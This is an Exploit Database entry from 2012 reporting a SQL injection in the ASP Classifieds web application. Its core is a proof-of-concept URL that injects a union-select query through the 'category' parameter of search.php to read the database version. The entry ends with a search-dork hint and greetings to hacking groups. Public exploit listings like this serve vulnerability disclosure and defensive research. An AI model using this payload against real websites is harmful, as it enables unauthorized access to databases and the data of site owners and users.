ASP Classifieds – SQL Injection

• Exploit Database
• 54 阅读

• 作者： r45c4l
  日期： 2012-03-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18613/

• # Exploit Title: ASP Classifieds Sql Injection
  # Date: 17/03/2012
  # Author: r45c4l
  # Email: infosecpirate@gmail.com
  # Script url: http://preproject.com/pclasp/home/default.asp
  # Version: N/A
  # CVE : ()
  
  ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  
  Product Description :
  
  ASP Classifieds is one of the most customizable Classified ad program
  that exist for ASP and Access. Unlimited Images , unlimited categories
  and much much more makes it perfect for those who wants to set up a used
  stamps classifieds to those wanting to show and sell real estates. 
  
  
  Product Cost : 58$
  
  
  
  =======================Exploit====================================
  ---ICW---
  
  
  
  [ EXPL0!T ]
  
  SQL Injection
  p0c -
  http://SERVER/classi/search.php?category=[SQli]
  
  PoC - 
  
  http://SERVER/classi/search.php?category=-1+union+all+select+version()--
  
  [Note: Tested on demo website]
  
  d0rk - use your brain ;)
  
  ===========================================================================
  Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0,
  Hoody, sam
  
  All members of ICW, AH and darkc0de, and all Indian Hackers
  
  
  
  Special Greetz to : b4ltazar and s1nner_01
  
  
  === End () ====